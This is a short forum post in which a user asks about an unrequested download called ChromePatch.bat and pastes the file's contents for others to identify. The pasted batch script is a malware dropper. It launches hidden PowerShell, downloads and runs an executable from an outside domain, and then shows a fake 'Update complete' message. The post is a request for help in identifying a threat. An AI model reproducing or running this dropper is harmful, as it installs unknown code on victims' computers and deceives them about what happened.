Unrequested download for ChromePatch.bat - what is that?

Has anyone seen their Chrome browser get hi-jacked and automatically download a batch file: ChromePatch.bat?
Below is the information withing the batch file - Webroot does not recognize it as a threat.
 @echo off
start /min "" PowerShell -WindowStyle Hidden $d=$env:temp+'mess.exe';(New-Object System.Net.WebClient).DownloadFile('http://soophsakeena.com/7841154285236/146119670765009/patch.exe',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);